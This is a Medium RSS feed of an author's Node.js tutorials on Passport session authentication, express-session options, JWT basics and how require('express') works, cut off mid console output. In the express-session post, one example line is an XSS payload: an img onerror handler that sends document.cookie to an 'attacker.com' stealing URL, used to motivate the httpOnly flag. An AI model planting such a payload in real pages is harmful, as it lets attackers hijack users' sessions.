<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hisham Elmorsi on Medium]]></title>
        <description><![CDATA[Stories by Hisham Elmorsi on Medium]]></description>
        <link>https://medium.com/@hmelmorsi?source=rss-7d5adccab802------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ybnkNg6jF3AYyL7Z-5GSFQ.jpeg</url>
            <title>Stories by Hisham Elmorsi on Medium</title>
            <link>https://medium.com/@hmelmorsi?source=rss-7d5adccab802------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 05:09:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hmelmorsi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Passport Session-Based Authentication Behind The Scenes]]></title>
            <link>https://medium.com/@hmelmorsi/passport-session-based-authentication-behind-the-scenes-31e08bd08b3d?source=rss-7d5adccab802------2</link>
            <guid isPermaLink="false">https://medium.com/p/31e08bd08b3d</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Hisham Elmorsi]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 09:03:17 GMT</pubDate>
            <atom:updated>2025-03-24T09:03:17.576Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*-NWTKXD4FGZgnJfc.jpg" /></figure><p>Why <strong>passport.js</strong>?<br>It’s just a library that makes it easier for implementing the authentication’s different types.</p><p>There are different ways of <strong>authentication</strong>:</p><ol><li>Session-Based Authentication.</li><li>JWT-Based Authentication.</li><li>Authentication using OAuth.</li></ol><p>The Library that passport work with to handle sessions for implementing session-based authentication is <em>express-session</em>. To understand how session-based authentication with passport works behind the scenes, you have to understand how <em>express-session</em> works.</p><pre>const express = require(&#39;express&#39;)<br>const session = require(&#39;express-session&#39;)<br>const app = express();<br><br>app.use(session({<br>// Configurations<br>}))</pre><p>Don’t worry, I explained it in detail in this previous <a href="https://medium.com/@hmelmorsi/express-session-behind-the-scenes-4ca02e554b41"><strong>article</strong></a>.</p><p>Let’s jump into passport and how to use it to implement our session-based authentication.</p><p>Note:<em> express-session</em> must be called before <em>passport.initialize(), passport.session(). </em>The reason is that <em>passport.session()</em> middleware depends on it to handle sessions retrieving and storing.</p><p>Let’s watch passport.js source code for passport.js middleware and see how the library is implemented under the hood!</p><p>You must use <em>passport.initialize() </em>in your express in order for passport to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*36NfJYZFe3cnfGhLQAvNIg.png" /><figcaption><strong>Screenshot from Passport Source Code</strong></figcaption></figure><p>So <em>passport.initialize() </em>just sets some props and functions to the req global object, that is accessed across all middlewares through the whole project.</p><h3><strong>Now the workflow</strong></h3><ul><li>The user signs up and enters his data which are <em>username </em>and <em>password</em>, and the data of the user is stored in <strong><em>DB </em></strong>Or here in <strong><em>memory</em></strong>.</li><li>The user is redirected into the <em>login </em>page.</li><li>The user tries to login.</li><li>The login routes triggers the ( <em>passport.authenticate(‘local’) </em><strong><em>)</em></strong>, the local here is the local strategy that we implemented.</li><li>Passport passes the username and the password that you entered in the form to the local strategy that you defined above. It passes a callback as the third parameter too. you can call it as you like but done is the most common name. The local strategy defines how you authenticate the user or verify that the user is trying to login. Here in this strategy we defined, it looks for the user in DB and if we call with (null, false) that means it failed, and if we called with (null, user), it means that succeeded.</li></ul><pre>passport.use(new LocalStrategy(<br><br>  async (username, password, done) =&gt; {<br>  <br>    try {<br>      const user = users.find(user =&gt; user.username === username);<br>    <br>      if (!user) {<br>        return done(null, false, { message: &#39;Incorrect username&#39; });<br>      }<br>    <br>      const match = await bcrypt.compare(password, user.password);<br>    <br>      if (!match) {<br>        return done(null, false, { message: &#39;Incorrect password&#39; });<br>      }<br>    <br>      return done(null, user);<br>    } catch (err) {<br>      return done(err);<br>      }<br>  }<br><br>));</pre><ul><li>In the case of success, passport automatically sets the user we just got to (<em>req.user) and then calls serializeUser()</em>, passing it the user that we just got from the <em>db </em>or from the <em>memory </em>using the local strategy.</li><li>Now serialize user as its name suggest, takes that user and determines what data to store in session <em>(here, the user ID) </em>passing it to the <em>done </em>callback<em>.</em> Passort then stores <em>user ID in </em>(<em>req.session.passport.user)</em> and express-session persists the entire req.session object to the session store (e.g., a database).</li></ul><pre>passport.serializeUser((user, done) =&gt; {<br>  done(null, user.id);<br>});</pre><ul><li>From our understanding of ( <em>express-session), </em>any changes to <em>(req.session)</em> are saved into session store. By default, this is in memory, but with a configured store (e.g., a database), it’s persisted there. If we did something like this <em>req.session.passport.user = 123</em>, That object will be saved into db.</li></ul><pre>//Example from mongo DB<br>{<br>    &quot;_id&quot;: &quot;abc123xyz&quot;, // Session ID (generated by express-session)<br>    &quot;expires&quot;: &quot;2025-03-19T12:00:00.000Z&quot;, // Based on cookie.maxAge<br>    &quot;session&quot;: {<br>        &quot;cookie&quot;: {<br>            &quot;originalMaxAge&quot;: 3600000,<br>            &quot;expires&quot;: &quot;2025-03-19T12:00:00.000Z&quot;,<br>            &quot;httpOnly&quot;: true,<br>            &quot;path&quot;: &quot;/&quot;<br>        },<br>        &quot;passport&quot;: {<br>            &quot;user&quot;: &quot;123&quot; // From serializeUser<br>        }<br>    }<br>}</pre><ul><li>Now if any request is sent to any route, what happens is:<br>The express session middleware <em>(global middleware)</em> verifies that the session sent by the client <em>(browser) </em>as cookie is valid and it hasn’t been tempered with using the secret key as we told before <em>(in express -session article)</em>, then if it is valid, <em>express-session</em> automatically gets that session data from the db using the session id.</li><li>Then <em>passport.session() (which is the same as saying app.use(passport.authenticate(‘session’))</em> is called then and what it does is that it checks if <em>req.session.passport.user</em> exists, if true, it will call the deserialize method and what deserialize does, is getting the user using that id from users array, then attaches it to req.user and sets req.authenticated() to be true and that will happen for each coming request.</li></ul><pre>passport.deserializeUser((id, done) =&gt; {<br>  const user = users.find(user =&gt; user.id === id);<br>  done(null, user);<br>});</pre><ul><li><em>req.logout()</em> removes <em>req.session.passport</em> object, so when any request comes in,<em> passport.session()</em> is called. When it checks for <em>req.session.passport.user</em>, it won’t find it and will fail to log the user in.</li></ul><blockquote><em>req.logout() </em>clears the <em>req.session.passport </em>object (removing <em>req.session.passport.user</em>) and sets <em>req.user</em> to undefined, effectively logging the user out.</blockquote><p>Here is an implementation of session-based authentication with passport.js.</p><pre>const express = require(&#39;express&#39;);<br>const passport = require(&#39;passport&#39;);<br>const LocalStrategy = require(&#39;passport-local&#39;).Strategy;<br>const session = require(&#39;express-session&#39;);<br>const bcrypt = require(&#39;bcrypt&#39;);<br>const app = express();<br><br>// In-memory user store (replace with database in production)<br>const users = [];<br>// Middleware<br>app.use(express.urlencoded({ extended: false }));<br>app.use(express.json());<br>app.use(session({<br>  secret: &#39;your-secret-key&#39;,<br>  resave: false,<br>  saveUninitialized: false<br>}));<br>app.use(passport.initialize());<br>app.use(passport.session());<br>// Passport configuration<br>passport.use(new LocalStrategy(<br>  async (username, password, done) =&gt; {<br>    try {<br>      const user = users.find(user =&gt; user.username === username);<br>      if (!user) {<br>        return done(null, false, { message: &#39;Incorrect username&#39; });<br>      }<br>      const match = await bcrypt.compare(password, user.password);<br>      if (!match) {<br>        return done(null, false, { message: &#39;Incorrect password&#39; });<br>      }<br>      return done(null, user);<br>   } catch (err) {<br>      return done(err);<br>   }<br>  }<br>));<br><br>passport.serializeUser((user, done) =&gt; {<br>  done(null, user.id);<br>});<br><br>passport.deserializeUser((id, done) =&gt; {<br>  const user = users.find(user =&gt; user.id === id);<br>  done(null, user);<br>});<br><br>// Routes<br>app.get(&#39;/&#39;, (req, res) =&gt; {<br>  res.send(`<br>    &lt;h1&gt;Welcome to the Home Page&lt;/h1&gt;<br>    &lt;p&gt;&lt;a href=&quot;/register&quot;&gt;Register&lt;/a&gt; | &lt;a href=&quot;/login&quot;&gt;Login&lt;/a&gt;&lt;/p&gt;<br>  `);<br>});<br><br>// Registration Form (GET)<br>app.get(&#39;/register&#39;, (req, res) =&gt; {<br>  res.send(`<br>    &lt;h1&gt;Register&lt;/h1&gt;<br>    &lt;form method=&quot;POST&quot; action=&quot;/register&quot;&gt;<br>    &lt;label&gt;Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; required&gt;&lt;/label&gt;&lt;br&gt;<br>    &lt;label&gt;Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; required&gt;&lt;/label&gt;&lt;br&gt;<br>    &lt;button type=&quot;submit&quot;&gt;Register&lt;/button&gt;<br>    &lt;/form&gt;<br>    &lt;p&gt;&lt;a href=&quot;/&quot;&gt;Back to Home&lt;/a&gt;&lt;/p&gt;<br>  `);<br> });<br><br>// Login Form (GET)<br>app.get(&#39;/login&#39;, (req, res) =&gt; {<br>  res.send(`<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method=&quot;POST&quot; action=&quot;/login&quot;&gt;<br>    &lt;label&gt;Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; required&gt;&lt;/label&gt;&lt;br&gt;<br>    &lt;label&gt;Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; required&gt;&lt;/label&gt;&lt;br&gt;<br>    &lt;button type=&quot;submit&quot;&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>    &lt;p&gt;&lt;a href=&quot;/&quot;&gt;Back to Home&lt;/a&gt;&lt;/p&gt;<br>  `);<br>});<br><br>app.get(&#39;/dashboard&#39;, ensureAuthenticated, (req, res) =&gt; {<br>  res.send(`<br>    &lt;h1&gt;Welcome to Your Dashboard, ${req.user.username}!&lt;/h1&gt;<br>    &lt;p&gt;This is a protected page.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href=&quot;/logout&quot;&gt;Logout&lt;/a&gt;&lt;/p&gt;<br>  `);<br>});<br><br>// Login Failed (GET)<br>app.get(&#39;/login-failed&#39;, (req, res) =&gt; {<br>  res.send(`<br>    &lt;h1&gt;Login Failed&lt;/h1&gt;<br>    &lt;p&gt;Incorrect username or password. Please try again.&lt;/p&gt;<br>    &lt;p&gt;&lt;a href=&quot;/login&quot;&gt;Back to Login&lt;/a&gt;&lt;/p&gt;<br>  `);<br>});<br><br>// Registration (POST)<br>app.post(&#39;/register&#39;, async (req, res) =&gt; {<br>  try {<br>    const { username, password } = req.body;<br>    const hashedPassword = await bcrypt.hash(password, 10);<br>    const user = {<br>      id: Date.now().toString(),<br>      username,<br>      password: hashedPassword<br>    };<br>  <br>    users.push(user);<br>    res.redirect(&#39;/login&#39;); // Redirect to login after successful registration<br>  } catch (err) {<br>    res.status(500).send(&#39;Error registering user&#39;);<br>  }<br>});<br><br>// Login (POST)<br>app.post(&#39;/login&#39;,<br>  passport.authenticate(&#39;local&#39;, {<br>  successRedirect: &#39;/dashboard&#39;,<br>  failureRedirect: &#39;/login-failed&#39;<br>  })<br>);<br><br>// Protected Dashboard (GET)<br>function ensureAuthenticated(req, res, next) {<br>  if (req.isAuthenticated()) {<br>    return next();<br>  }<br>  res.redirect(&#39;/login-failed&#39;);<br>}<br><br>// Logout (GET)<br>app.get(&#39;/logout&#39;, (req, res) =&gt; {<br>req.logout((err) =&gt; {<br>  if (err) return next(err);<br>  res.redirect(&#39;/&#39;);<br>});<br>});<br><br>// Start server<br>const PORT = process.env.PORT || 3000;<br>app.listen(PORT, () =&gt; {<br>  console.log(`Server running on port ${PORT}`);<br>});</pre><p>That’s all!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31e08bd08b3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Express-session Behind The Scenes]]></title>
            <link>https://medium.com/@hmelmorsi/express-session-behind-the-scenes-4ca02e554b41?source=rss-7d5adccab802------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ca02e554b41</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[expressjs]]></category>
            <dc:creator><![CDATA[Hisham Elmorsi]]></dc:creator>
            <pubDate>Sat, 22 Mar 2025 07:16:08 GMT</pubDate>
            <atom:updated>2025-03-22T07:16:08.875Z</atom:updated>
            <content:encoded><![CDATA[<h3>Express-session behind the scenes</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*DJGZAYx_GWXx4EnH.jpg" /></figure><p>Express session library is used for handling sessions and there are important libraries that depend on, like <strong><em>Passport.js.</em></strong></p><p><strong>What is meant by session?</strong></p><p>It’s a temporary period of interaction between the user and the server during which the server maintains state or information about the user. Server-side sessions are records that contain this state — whether related to user interaction <em>(How many times the user visited the website, User’s cart items)</em> or user identity <em>(user id, a user from users table) </em>— stored in memory or a database.</p><p><strong><em>This how session object looks like:</em></strong></p><pre>{<br>  &quot;_id&quot;: &quot;sX7k9pL2mN8vQ4rT&quot;,<br>  &quot;expires&quot;: &quot;2025-03-21T10:00:00.000Z&quot;,<br>  &quot;session&quot;: {<br>    &quot;cookie&quot;: {<br>      &quot;originalMaxAge&quot;: 86400000,<br>      &quot;expires&quot;: &quot;2025-03-21T10:00:00.000Z&quot;,<br>      &quot;secure&quot;: true,<br>      &quot;httpOnly&quot;: true,<br>      &quot;path&quot;: &quot;/&quot;<br>    },<br>    &quot;passport&quot;: {<br>      &quot;user&quot;: &quot;user123&quot;<br>    },<br>    &quot;lastActivity&quot;: &quot;2025-03-20T10:00:00.000Z&quot;<br>  }<br>}</pre><p>what express-session really does is providing us a middleware that saves us time for handling the user’s session.</p><p><strong>How?</strong></p><p>It automatically creates a server side session <em>(in Memory or DB) </em>and <em>(req.session object that contains the id of the session stored in Memory or DB) </em>for anyone opens our website, and sends the id of that session <em>(only the session id)</em> to the Client <em>(Browser)</em> to be stored as a <strong>cookie </strong>under the name of <em>connect.sid </em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*3M2tm4-OhMURaOgducpM1A.png" /><figcaption>Screenshot from the browser’s Application cookie</figcaption></figure><p>what we know about cookies is that, they are automatically sent to the server by the browser <em>(By default)</em> for all requests sent to the server.</p><p>When cookies are sent back to the server from the browser, what <em>express-session</em> library does is that it provides us a middleware and that is how we would use:</p><pre>const express = require(&#39;express&#39;)<br>const session = require(&#39;express-session)<br>const app = express()<br><br>app.use(session({<br>    secret: &#39;your-secret-key&#39;,<br>    resave: false,<br>    saveUninitialized: false<br>}));</pre><blockquote>Note that we are using it as a global middleware, which means that it runs for every request.</blockquote><p>What <em>express-session </em>does is:</p><p>It deserializes the<em> session id</em> sent by the browser, retrieves it’s associated data from the database or memory, using the <em>session id </em>sent in a cookie from the browser. The retrieved data, stored as string in DB is then converted to a JS object and made available in the <em>request.session</em> object accessible to all middlewares.</p><p>Any change made to <em>request.session</em> is reflected in the session storage (DB or Memory).</p><p>So if we did something like: ( <em>req.session.viewCount= 5 )</em>, the session stored in db will be this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TiID4XUP4inf1duO6D2sag.png" /><figcaption><strong>session in db is the same as req.session()</strong></figcaption></figure><blockquote>Notice that viewCount exists now in the session in our DB.</blockquote><p>Now someone may ask, what if a user could guess another user id using any technique and sends it as cookie, he could then pretend that he is another user !!!</p><blockquote>This is where the first configuration of our session middleware comes into play.</blockquote><p><strong><em>1.Secret</em></strong></p><pre>app.use(session({<br> secret: SECRET_KEY<br>}))</pre><p>secret is the way that our server using session middleware can tell if the session id is valid or not!</p><p>How?</p><p><strong><em>In the creation process of session ID:</em></strong> (<em>Secret key) </em>is used combined with the (<em>session id)</em> and then the result is hashed and encoded. The result is called the <strong><em>signature</em></strong>, which is then combined with the <strong><em>session id</em></strong> and sent to the client (browser) and saved as a cookie.</p><pre>connect.sid=`sessionID.signature`<br><br>--That is the structure of the session_id stored in the browser as a cookie</pre><p><strong><em>In the verification process of session ID: </em></strong>Now when any request comes to the server, session middleware checks whether the <em>session id</em> is valid or not, by generating the signature again using the secret key <em>(stored in our server)</em> and the <em>session id</em> and then comparing it with the signature that is sent from the browser so if they are the same, the (<em>session id)</em> is valid and if not the same, the session is invalid, it has been tempered with and the (<em>session id)</em> is rejected.</p><p>There are other options too. Let’s explore them,</p><p><strong><em>2. resave</em></strong></p><pre>app.use(session({<br>   secret: SECRET_Key,<br>   resave: false<br> }))</pre><p>We knew that when we alter the ( <em>req.session</em> ) object, the session is then saved into the DB with the updates automatically using session middleware.<br> <br>We can control that behavior, so when we set resave to false, we are telling our session middleware (express-session) to only resave the session <em>(req.session)</em> into db, if only the session changed or updated<em> like adding (req.session.CountOfVisits = 1). </em>When we set resave to <em>true</em>, session middleware will resave the the ( <em>req.session )</em>in each request whether the ( <em>req.sessio</em>n ) changed, updated or not.</p><p><strong><em>3. saveUninitialized</em></strong></p><pre>app.use(session({<br> secret: SECRET_Key,<br> resave: false,<br> saveUninitialized: false<br> <br>}))</pre><p>What if we don’t want to create and save all visits’ sessions to our DB, so we avoid having dozens of sessions for anyone who just opens our website?</p><p>We can set <em>saveUninitialized: false,</em> which saves only non-empty sessions to the database. If the session <em>(req.session)</em> is empty and hasn’t been modified, no <em>session ID</em> or cookie will be created or sent to the client until data is added to the session (<em>e.g., req.session.someProperty = ‘I am a property’</em>). If it’s set to true, then all sessions, whether empty or not, will be created and saved to the database. In this case, no <em>session ID</em> or cookie will be created or sent to the client until data is added to the session (<em>e.g., req.session.someProperty = ‘someValue’)</em>.</p><p><strong><em>4. cookie</em></strong></p><pre>app.use (session(<br> {<br>    secret: SECRET_KEY,<br>    resave: false,<br>    saveUnitialized: false,<br>    cookie: {<br>     secure: process.env.NODE_ENV === &#39;production&#39;,<br>     httpOnly: true,<br>     maxAge: 100 * 60 * 60 * 24<br>    }<br> }))</pre><ul><li><strong><em>secure </em></strong>means to transfer the cookie only over https, so here if the condition results into true ( <em>process.env.NODE_ENV === ‘production’ )</em>, the cookie will only be transferred in https connection and if false, means it transmits in http.</li><li><strong><em>httponly: </em></strong>To understand it, we need to understand XSS vulnerability, where the attacker can steal the cookie using JS.</li></ul><p><em>Here is an example of how would the attacker do it:</em></p><pre>&lt;img src=x onerror=&quot;var c = document.cookie; window.location = &#39;http://attacker.com/steal?cookie=&#39; + encodeURIComponent(c);&quot;&gt;```</pre><p>The attacker can input this code into a comment section or other input field. If the input isn’t properly sanitized, the image will be rendered for other users. Here, we’ve set an invalid src attribute, triggering the onerror script. This script executes, accesses the user’s cookie, and sends it to the attacker’s server, allowing the attacker to use it in their requests and impersonate another user.</p><p>We can prevent that using <strong><em>httponly </em></strong>that prevents the accessing of the cookie using javascript resulting nothing when accessing it using <em>document.cookie</em> and preventing the xss attack.</p><ul><li>maxAge: sets a maximum lifespan for the cookie and the assosiated server side session, determining how long they remain valid, once that time comes the cookie will be deleted from the browser and invalid in the server. So the user will need to re-authenticate.</li></ul><p><strong><em>5. store</em></strong></p><p>We understood that by default ( <em>express-session</em> ) middleware stores sessions in memory by default. but what if we need to store it in a specific DB? Here store comes.</p><p>Let’s take an example of storing sessions in <strong><em>mongoDB</em></strong>. You can find info about express-session storage here:</p><p><a href="https://www.npmjs.com/package/express-session">https://www.npmjs.com/package/express-session</a></p><pre>const MongoStore = require(‘connect-mongo’)<br> app.use (session(<br> {<br> secret: SECRET_KEY,<br> resave: false,<br> saveUnitialized: false,<br> cookie: {<br> secure: process.env.NODE_ENV === ‘production’,<br> maxAge: 100 * 60 * 60 * 24<br> },<br> store: {MongoStore.create({mongoUrl: ‘mongodb://localhost/test-app’})}<br> // connect-mongo is specifically built for session storage, it for examples deletes the expired cookies<br> }))</pre><p>Thanks…</p><p>Wait for the passport js article..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ca02e554b41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JWT Components]]></title>
            <link>https://medium.com/@hmelmorsi/jwt-components-3ab6e0c8d0d9?source=rss-7d5adccab802------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ab6e0c8d0d9</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[jwt]]></category>
            <dc:creator><![CDATA[Hisham Elmorsi]]></dc:creator>
            <pubDate>Fri, 24 May 2024 20:37:27 GMT</pubDate>
            <atom:updated>2024-05-24T20:37:27.955Z</atom:updated>
            <content:encoded><![CDATA[<h3>JWT Components?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*83ZcYAuteQPDtvql" /></figure><p>Now that we’ve grasped the purpose of JWT from the previous article,</p><p>Let’s explore its components:</p><p>*Header</p><p>That includes: The algorithms we used for signing the JWT in the server before sending to the client ( I will talk about signing in the next article).</p><p>That involves hashing and generating public and private keys for data encryption.</p><p>But why do we hash the data?</p><p>```<br>hash(‘x’)=&gt; result<br>hash(‘x ‘)=&gt; different result<br>```</p><p>= Hashing is critical for security as any tiny change in the data transferred produces a different hash. (We will see how can we utilize hashing for JWT in the next article).</p><p>= We may encounter scenarios where we may need to transmit a large payload/data (I will talk about payload in the next step). when we hash the data using an algorithm like SHA256, we receive a fixed-length string of characters, typically 256 characters long that is better than sending the whole document. The standardized length facilitates faster data exchange between the server and the client. <br> <br>OK, what are public and private key?</p><p>The public and private key are generated with RSA algorithm or other algorithms through utilizing a mathematical equation, so that the generated keys are related to each other.</p><p>But what do you mean by ‘The keys are related to each other’!</p><p>Keys are generated so that When we encrypt data with the private key, we can decrypt with the corresponding public key, and conversely, when we encrypt with public key, decryption is possible with the corresponding private key <br>(I will talk later, how keys are used in JWT).</p><p>Encryption is like locking your message in a box with a key, and only someone with the matching key can unlock the box and read the message inside.</p><p>*payload:</p><p>-That contains the data about the user and application like user_name, user_email, user preferences, configurations set, expiration date of the token. so that when the server verifies the JWT and login automatically successfully, it can set that stuff and get the necessary from the DB (like user data).<br> <br>Now Suppose that JWT was only built from headers and payload.</p><p>And that JWT (header and payload) then got sent to the client to be stored after successful authentication (login) and then the received JWT is getting sent to the server again within each request in order for the server to login you automatically.<br> <br>In this case, you will gain the ability to manipulate the data within, such as user_email and other data potentially allowing unauthorized access by assuming or entering another users’ identity. This poses a significant security risk.</p><p>Remember: the JWT token is stored in your browser or other data storage, so you can see it and edit.</p><p>So we need a way to make sure that the token the user received wasn’t altered when sending back to you (your server), and you (your server) is the one who sent this token to the client.</p><p>Here the third component of JWT come out!</p><p>The signature.</p><p>Continued…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ab6e0c8d0d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why JWT?]]></title>
            <link>https://medium.com/@hmelmorsi/why-jwt-ee16e1684438?source=rss-7d5adccab802------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee16e1684438</guid>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[jwt]]></category>
            <dc:creator><![CDATA[Hisham Elmorsi]]></dc:creator>
            <pubDate>Fri, 24 May 2024 20:35:40 GMT</pubDate>
            <atom:updated>2024-05-24T20:35:40.616Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*urGOYFjsaL3Utwgb" /></figure><p>JWT: The digital security guard. Let’s explore its importance in authentication.</p><p>What is actually JWT (JSON Web Token)?</p><p>It is just a token that is generated by the server and sent to the client to be stored upon successful authentication (login) and then sent back from the client to the server within each request.</p><p>They may be stored as cookies that get sent automatically by the browser within each request to the same website you received the JWT from.</p><p>But why do we need it and how would it be without JWT or server session (another authentication method)?</p><p>http requests are stateless, that means: each request doesn’t know anything about other requests or the history of the requests before. So (without those authentication methods mentioned before like JWT), if you logged in successfully, and needed to send another request to another protected route, as the two http requests don’t know anything about each other you will have to login again and that will work fine. But now, anything you want to do in the website, you will have to enter your credentials again to login! it would be a nightmare, isn’t it?</p><p>ex: You were logged to an e-commerce website, browsing items to purchase. Each time you try to purchase items, or do anything related to you, you will be prompted to login again That won’t only disturbs your shopping experience but consumes time too.</p><p>Continued…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee16e1684438" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[express = require(‘express’)]]></title>
            <link>https://medium.com/@hmelmorsi/express-require-express-6e727d23a448?source=rss-7d5adccab802------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e727d23a448</guid>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Hisham Elmorsi]]></dc:creator>
            <pubDate>Tue, 31 Jan 2023 22:35:37 GMT</pubDate>
            <atom:updated>2023-01-31T22:49:42.913Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ot1OpLnC2kRL-NsV" /><figcaption>Photo by <a href="https://unsplash.com/@kelli_mcclintock?utm_source=medium&amp;utm_medium=referral">Kelli McClintock</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>This is how the process works as I was trying to understand what was going on behind the scenes of this statement. Now, let’s take a look at the box ;)</p><p>let’s first start by knowing what is actually <strong>express</strong> in <strong>require</strong>.</p><p>express is the framework package you installed when you used:</p><pre>npm istall express</pre><p>Ok, let’s take a look at that package here, open it;</p><p><a href="https://github.com/expressjs/express/blob/master/lib/express.js#L17">express/express.js at master · expressjs/express</a></p><p>As you see here we have some defined functions and other stuff, and there we are exporting some stuff including functions.</p><p>you don’t know what is meant by exporting?</p><p>Exporting here is like exporting goods in real life, you are just moving stuff to other place to be able to use them there ;</p><p>Ok?</p><p>In JS you can export functions, properties and other stuff to another file using:</p><pre>module.exports = (stuff you want to export)</pre><p>To illustrate this, assume you have two files a.js and b.js:</p><p>In a.js file we have this sayHi function:</p><pre>// a.js<br><br>const sayHi = () =&gt; { return &#39;Hi&#39; }</pre><p>Now we want to export this function to be able to use it in another file like b.js, guess how?</p><p>By adding that line we stated above which is:</p><pre>// a.js<br><br>module.exports = sayHi</pre><p>so our a.js file after updating includes:</p><pre>// a.js<br><br>const sayHi = () =&gt; { return &#39;Hi&#39; }<br>module.exports = sayHi</pre><p>Now in b.js file, can we use it directly?</p><p>No, we must import it, to be able to use! it’s logic.</p><p>but how then?</p><p>Using the line below. It is expressive: we need that module so we require it.</p><pre>require(module location);</pre><p>Now in b.js file we write the line to receive the function , actually reference to the function and store it using a constant:</p><pre>// b.js<br><br>const sayHi = require(&#39;./a.js&#39;);</pre><p>we can name the constant any name we want ;</p><p>Now, we have a reference to the function and can call it by adding () to the reference;</p><pre>// b.js<br>const sayHi = require(&#39;./a.js&#39;);<br>console.log( sayHi() ) //output: Hi</pre><p>Now we have an idea about exporting and importing modules lets jump into our <strong>express module </strong>(the link is above):</p><p>we can see this:</p><pre>//express.js module<br><br>exports = module.exports = createApplication;</pre><p>and some other lines of exporting like this:</p><pre>//express.js module <br><br>exports.static = require(&#39;serve-static&#39;);<br>exports.json = bodyParser.json<br>exports.query = require(&#39;./middleware/query&#39;);<br>exports.raw = bodyParser.raw</pre><p>you may ask, what is exports keyword, we stated only module.exports?</p><p>exports here is just a reference to module.exports so that instead of saying module.exports.json you can just this shortcut directly exports.json.</p><p>Alright?</p><p>let’s go to the <strong>app.js</strong> file where we created our server and added some routing, we need now to see only the first line:</p><pre>// app.js<br><br>const express = require(&#39;express&#39;)</pre><p>here we are importing the module, Do you know what express is evaluated to right now?</p><p>let’s try by logging it:</p><pre>// app.js<br><br>const express = require(&#39;express&#39;)<br><br>console.log(express)</pre><p>And here is the result in console:</p><pre><br>[Function: createApplication] {<br> application: {<br> init: [Function: init],<br> defaultConfiguration: [Function: defaultConfiguration],<br> lazyrouter: [Function: lazyrouter],<br> handle: [Function: handle],<br> use: [Function: use],<br> route: [Function: route],<br> engine: [Function: engine],<br> param: [Function: param],<br> set: [Function: set],<br> path: [Function: path],<br> enabled: [Function: enabled],<br> disabled: [Function: disabled],<br> enable: [Function: enable],<br> disable: [Function: disable],<br> acl: [Function (anonymous)],<br> bind: [Function (anonymous)],<br> checkout: [Function (anonymous)],<br> connect: [Function (anonymous)],<br> copy: [Function (anonymous)],<br> delete: [Function (anonymous)],<br> get: [Function (anonymous)],<br> head: [Function (anonymous)],<br> link: [Function (anonymous)],<br> lock: [Function (anonymous)],<br> &#39;m-search&#39;: [Function (anonymous)],<br> merge: [Function (anonymous)],<br> mkactivity: [Function (anonymous)],<br> mkcalendar: [Function (anonymous)],<br> mkcol: [Function (anonymous)],<br> move: [Function (anonymous)],<br> notify: [Function (anonymous)],<br> options: [Function (anonymous)],<br> patch: [Function (anonymous)],<br> post: [Function (anonymous)],<br> propfind: [Function (anonymous)],<br> proppatch: [Function (anonymous)],<br> purge: [Function (anonymous)],<br> put: [Function (anonymous)],<br> rebind: [Function (anonymous)],<br> report: [Function (anonymous)],<br> search: [Function (anonymous)],<br> source: [Function (anonymous)],<br> 